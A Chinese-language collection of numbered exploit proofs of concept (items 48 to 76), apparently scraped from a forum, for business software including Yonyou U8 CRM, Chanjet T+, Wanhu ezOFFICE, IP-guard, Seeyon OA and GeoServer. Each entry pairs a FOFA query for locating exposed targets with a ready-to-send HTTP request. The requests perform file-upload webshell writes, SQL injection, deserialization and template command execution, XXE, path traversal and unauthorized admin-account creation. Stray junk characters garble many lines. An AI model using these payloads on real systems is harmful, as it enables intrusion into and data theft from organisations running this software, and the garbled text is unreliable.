2 e4 I% b$ K, K$ r2 e$ rUpgrade-Insecure-Requests: 1
, ^7 y$ T; g4 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! R; o: W+ p: A. Q0 g  h1 vIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
! Q1 Q9 C3 I/ o  c; I/ U  UConnection: close

2 `% U; R' G( ^! L& @
& H, s* U7 W- H0 p5 o
' z" G" e( R+ C3 [5 l6 M48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
7 E3 W  P. r3 [- AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 w7 L9 q5 @$ x1 _- r4 l7 p+ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( E5 d; s+ c/ o+ R6 F  dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
; n! j* q7 Z- b  S; w$ c1231
2 _0 A2 z4 m+ V& q1 ZContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
  y6 N( S3 T9 @8 k8 V; A3 z------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
0 Q6 j1 u2 V, w; HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 G* J4 @& x, j* m) Z5 jContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

: b( ]1 w- g, [0 q-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
$ c, `" I9 s9 M& r5 b  g# d+ @
6 l8 {( Z8 w/ X9 S! D3 owersqqmlumloqa
5 {9 P* g( E/ W# v" \' u-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

  e2 L8 i8 u6 o
http://x.x.x.x/tmpfile/updB3CB.tmp.php
/ C# R# z- X1 ]! V7 \+ `
5 O5 x3 t' }5 p: C2 R4 ~9 l+ K50. QDocs Smart School 6.4.1 filterRecords SQL注入
. d$ B. ?" f, qFOFA：body="close closebtnmodal"
0 z; c( ?6 {) x, F7 R& m0 YPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
& M& ?+ D" W% A* zUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 A: e4 E5 c) l5 |1 K/ EConnection: close
4 n" K' j* F/ J  s4 w( rContent-Length: 224
+ e3 e! O% y) j1 ^! ?Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
1 |% V: A6 I" Q. [( WAccept-Encoding: gzip
) ?' ]1 ^2 d6 }* k- ]
) }( |$ i5 {+ wsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

9 t7 U1 g* j; j  D. s6 Y
* y  H5 O! T3 \( Q& r51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
% b8 w. c8 g+ d) d- t, F, ZFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
4 j" f0 W8 p5 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! ^( I. z0 A7 R9 PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ J8 z) B/ G: ?# @* gConnection: close


0 j# W, I( V8 J! |9 v$ l- e52. 泛微E-Office json_common.php sql注入
& D/ t6 {/ [8 k/ HFOFA：app="泛微-EOffice"
3 F/ P  Q0 V5 pPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# O4 G% m- t" B+ [Connection: close
Content-Length: 87
: p4 Y2 i! H7 @Accept: */*
+ n, b  R; W, L/ rAccept-Language: en
Content-Type: application/x-www-form-urlencoded
7 g9 v% \2 q- i! F3 XAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
% U  @% {0 V! l% V! Y+ c

53. 迪普 DPTech VPN Service 任意文件上传
  r1 s! y  G( w- ?2 oFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
, o8 `! @: Q- w9 J
4 j/ b; P1 V7 w3 I4 _* F
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! n( Y% N3 G  VFOFA：app="畅捷通-TPlus"
/ i. R) M: Y/ k3 f$ [0 c8 D3 z第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


4 Z: M. M$ l% E+ Z完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: a, r  V. q. Q" A6 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
) z8 R5 y- G2 H: zContent-Length: 593
0 J/ a$ z  D  e' X8 Q) |
. O9 R9 n/ w1 w( Y, q8 `0 P% u- m{
7 ^$ x  c$ i' D6 |! c; D4 G0 |"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
2 s: E# _9 d4 M0 k: X' N "MethodName":"Start",
; o4 P. U: k# t  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
3 A  M  t- f# B, i8 p2 F! L! Q6 {  }
+ A: j$ v3 ]- I& J/ a& S; J  }
}


: F1 v2 L8 o' M- u: ?第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
. j  e+ L5 l/ l9 c
" N( q- C4 Y8 g# ]9 j3 Z: l( E
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
6 y  a' O: W) r# P- L+ a+ `第一步，通过
+ u3 S  T) r* f+ x1 z  Y/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
* [# e7 W7 V8 [- h第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
% ]0 Y7 v. ?# I" ^1 }6 d7 }4 UFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
' F" v) Z* f$ h! j0 qHost: x.x.x.x
& N- I6 @9 L2 i7 V. Z# QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
+ v$ W  x% I3 _  "storeID":{
6 E4 a* B: t* ~, A$ ^2 r3 H    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
0 A; U$ }! b' M    "ObjectInstance":{
, W$ N  n. \- m( Z0 b- [4 n6 ^% }       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 q( U$ P7 k/ c( M        "StartInfo": {
3 x( l8 e7 H/ g! h' z0 ^9 c           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
: I" S4 h5 e- g$ N  N7 F2 }4 A       }
8 g( U- Z6 b; h0 Q$ b3 Z8 d    }
& }, B% C/ I+ u2 a/ s  Y  }
}

& w, S, K7 ]" k6 p/ x4 |
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ c/ v1 D  z6 T4 B% m7 pHost: host
; A) c* F3 I9 l8 g0 WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! [+ i6 X/ @( H/ K0 d! tAccept-Encoding: gzip, deflate
+ p/ O/ J* _9 v+ o( iConnection: close

1 d5 A2 p% B: w6 U6 A1 @9 {
58. 畅捷通T+ KeyInfoList.aspx sql注入
; z8 u# u/ z3 w4 }- D" ZFOFA：app="畅捷通-TPlus"
+ E2 J; V7 e3 |7 o' Y3 d7 A- B6 pGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. B% I1 ^; x/ c# f: \Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


' U+ o, w% j; N3 P2 @- ]59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
: E, Z6 r! k, P4 X  MFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
$ q3 [# c( n2 _' Q9 ?3 M2 D; X, @POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
/ P  u) {7 u0 I/ Y/ o+ YUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
# O& z3 b6 |: xConnection: close
Content-Length: 1669
) {! J: L, ?$ p" ^0 Q' |Accept: */*
7 W, G, p3 o+ c" t9 x# IAccept-Language: en
+ V* {: N# E, j9 C* R+ O9 bContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

$ u) x" a* G% e/ p# \' xPAYLOAD
; C' s0 p1 N( X6 Q2 E9 C# ~! t
% p) g) y3 d  U2 t+ a; P& [
' M5 [' x- U0 j* o" ?60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
% k. J+ A6 M. I2 QGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% `2 i; H' C, F( d2 x; aHost:
( u+ p  T0 l/ v7 C8 S- d9 N. vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) _4 _( e; J; z6 a- {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 J3 q. n/ r& M6 bAccept-Encoding: gzip, deflate
6 y' d+ P; ~" ~- AAccept-Language: zh-CN,zh;q=0.9
- [2 b5 P; v; I7 y0 U: eConnection: close

% ]1 [3 x4 W' @) x
' ^9 [% ]. P3 p61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
/ g1 {5 F7 y7 J3 B% s# _POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
- w" l2 k, e0 n# I/ AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ u/ h* J% p9 `" N* qConnection: close
) s) f# D- q5 j9 \5 S& v) o0 _Content-Length: 27
. |1 c; _2 E, Q$ \& z7 h0 v: UAccept: */*
- G4 @) t! J1 W4 |& aAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

, S0 V5 X+ R8 Z: d( m1 i
$ j, t5 B& {- F* J7 I* K62. IP-guard WebServer 远程命令执行
/ D+ U1 p; T8 q# d' `/ n* J! \4 MFOFA："IP-guard" && icon_hash="2030860561"
9 {/ Y9 i( ^2 s/ o7 v" lGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
( Q$ A, D$ M* d% v" R; [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
8 f$ f/ I( J; ]% `% SConnection: close
9 M  |0 D+ q' Z! k( a% oAccept: */*
Accept-Language: en
. u7 }6 N4 l! E! j: b  nAccept-Encoding: gzip
& q( Y% s. E6 T2 n/ y
! k* k4 P: h# a" r! Y$ j8 h* ]
访问

5 r2 Y- \, c( S" _  Z# RGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
8 _& m+ Z6 ^6 u8 c9 D: t% w( DHost: x.x.x.x


6 X/ I9 ~* ~$ L63. IP-guard WebServer任意文件读取
4 F6 X/ A& t$ E3 P/ j6 n5 ]IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
: ~9 J8 Z) }4 }, bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) L$ b1 g8 f# M) N8 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  d" O+ X# ~# N: r. L, f6 z( EAccept-Encoding: gzip, deflate
* w9 k) r" ~. n! [$ r0 ^Accept-Language: zh-CN,zh;q=0.9
/ X7 R' k0 U% e- i8 V5 `% ZConnection: close
: K* L' m# M: P3 f$ ^; n2 IContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
" [6 B# a3 [. U; p6 F+ d! CFOFA：body="/Scripts/EnjoyMsg.js"
4 a# q& G% Z. q% @% V" h, r! bPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
8 E0 C7 A) t2 PHost: 192.168.86.128:9001
9 T% B% ^/ ^) \' @" ~4 Y$ TUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
, @- i  h, z/ R3 s3 T( T0 a7 cConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
; T- K, B3 a8 v2 O; mAccept-Encoding: gzip
8 P# l8 P* q. p$ c! i4 H* j
5 p. f6 C: D; ], T% N% @9 B9 j<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 [; l+ w3 d- w  A! p8 ~<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
) E+ b+ J% u, D! r$ H8 _) p      <sId>1';waitfor delay '0:0:5'--+</sId>
* Q6 m. j' ^) o* g    </GetOSpById>
* K0 W# c: J+ F+ _5 G  </soap:Body>
2 m  O/ `$ O& k/ V: P( Z</soap:Envelope>
. g* c7 x8 H7 \" n+ u! W6 i+ R
" s/ A- F0 q; v' [" o
) B) C4 A( i, ?4 G65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
2 l" H) S% T2 zHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
  x6 X# C* i+ Z" o- dAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
6 v: e6 x7 W) |- q- S, eContent-Length: 174
  L. {7 X+ W, N! w
. p% ~/ `& [" b6 poperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
4 N+ i3 f- v3 }8 r9 t

! U" E7 ^/ s! U! s, @' b66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
! x8 {1 K- S% h( x5 B5 V
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( L9 f' }; z. dConnection: close
Accept: */*
Accept-Language: en
! N0 U/ Z2 _8 JAccept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
6 d6 Z! y, @" @! w2 snewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. M. U" Q* T3 ]4 A1 |% R7 K$ w* {POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
5 H/ v/ {1 v0 C# XContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# G/ k; ~9 U- s- PAccept-Encoding: gzip, deflate
! A" N# q' [% dAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
% A7 D% S: d" ~7 }$ J' AConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
& h! U! R7 B  S# y3 H! V8 jUpgrade-Insecure-Requests: 1

7 i8 @5 U: H/ d--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
# H6 C+ g8 o0 g9 Z2 f
<% out.print("sasdfghjkj");%>
6 L' b8 ?0 V3 w% D& O& N7 J--ufuadpxathqvxfqnuyuqaozvseiueerp--
5 [+ }7 V! v! @/ [1 @% R- Q& b
* Q% @5 }% V! L
* Y, e+ E# n$ n" _; Z$ C, a文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

2 R0 u; ]4 ]% E: Y- }# @) `3 ~68. 万户ezOFFICE wf_printnum.jsp SQL注入
* U; S' r) _  IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
8 U* Z0 p. t$ T9 g2 U0 N# k5 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( m3 G7 I1 Z' W9 V* ^Accept-Encoding: gzip, deflate
; ^0 f4 c( o8 T" S9 bAccept-Language: zh-CN,zh;q=0.9
& p9 c8 p( a# ^, H- `Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
8 g! O7 O* S) [* D8 a" XFOFA：app="万户ezOFFICE协同管理平台"
0 |2 _/ X/ ]( b. x' x5 cGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
7 V& ~% ^# [- @  f- `+ cHost: your-ip
/ I9 t5 r0 S5 u" m' p& lUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

/ m8 c* t7 M: W! g2 v
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
5 x9 G" [* V6 ~$ \2 n9 g+ X  q  U) pPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
! y5 g/ R# k1 U5 c/ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
2 k8 }8 q  V; C% _3 Y9 S4 ~Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
1 k7 m2 S& e/ l% yGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
$ T$ x/ L8 s# {" R) w: p; b$ OHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
. C7 Z9 T* P8 z9 p8 x& kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


- L3 w2 I+ Q+ I& C/ A72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
1 X$ ?/ ]. S6 o2 P, j& s  mPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
7 g; U6 m9 S+ n2 d$ q+ w  WUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
& Z) F( t* Z6 y- g, pConnection: close
Content-Length: 583
6 ~0 ~$ s9 g' QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

/ U# T' g3 [5 l$ JS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
1 e% V$ h. \) d7 Q& a6 Z' o

/ c1 V( {# u! G7 P% X/ Z73. GeoServer wms远程代码执行
( e( ~2 V7 i  e" ?FOFA：icon_hash=”97540678”
) p9 [% ^8 T7 L8 W3 l" JPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; @1 j$ `0 |# U2 h1 q, D& xContent-Length: 1981
Accept-Encoding: gzip, deflate
4 i* W* o9 q* w+ k. n- ZConnection: close
Content-Type: application/xml
# X& I! v$ u3 H2 Z7 {+ pSL-CE-SUID: 3
2 a: |% R9 i2 ]
PAYLOAD
0 D5 I+ R' i! U6 R) P: Z* [) P5 {

1 {- f) K2 a4 ~/ [7 A7 ?" C74. 致远M3-server 6_1sp1 反序列化RCE
/ E) _2 n: V4 C( k6 V+ GFOFA：title="M3-Server"
PAYLOAD

5 |- n9 v" ^$ o3 }, [75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
& J% u2 l. L/ }- i. bFOFA：app="TELESQUARE-TLR-2005KSH"
  D: @( t' T! U, eGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
, {! s7 e9 w  D+ fHost: x.x.x.x
7 @4 }3 c3 a0 @  h% pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
. A% q) b0 ]+ `! m' o5 g6 x; OAccept: */*
7 r5 W4 l9 ]. r: NAccept-Language: en
Accept-Encoding: gzip
/ Z' ^3 i) ]6 n4 W) a1 w) Q8 T4 O, I) h" L

, u" u; y7 v7 Q9 `- k% R- [: JGET /cgi-bin/test28256.txt HTTP/1.1
6 {# o: N5 O- w+ THost: x.x.x.x
. l" l$ G- D- l, b8 C$ Z: V" Y
9 [1 D. U! [9 d! }9 t' H
1 s! X+ d+ ~. f* v: d76. 新开普掌上校园服务管理平台service.action远程命令执行
7 y9 \8 R) l2 Q1 B/ D" vFOFA：title="掌上校园服务管理平台"
! l# ?& m6 z0 F4 e8 w5 |POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
1 k5 T& ?( N/ d4 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ E/ H2 I! k6 GAccept-Encoding: gzip, deflate
3 ~; d$ I6 _& R8 R- uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* T/ o7 V* |7 `" e6 w! rCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
/ e5 t' j2 j* _6 D) v3 F- h
8 S! K$ i8 l/ b$ [' d! R6 p{
"command": "GetFZinfo",
8 x1 G: `; A2 y4 r& q  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
; E5 ~3 W' Y$ @+ I  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
$ Y; t( n  w* u8 d, @
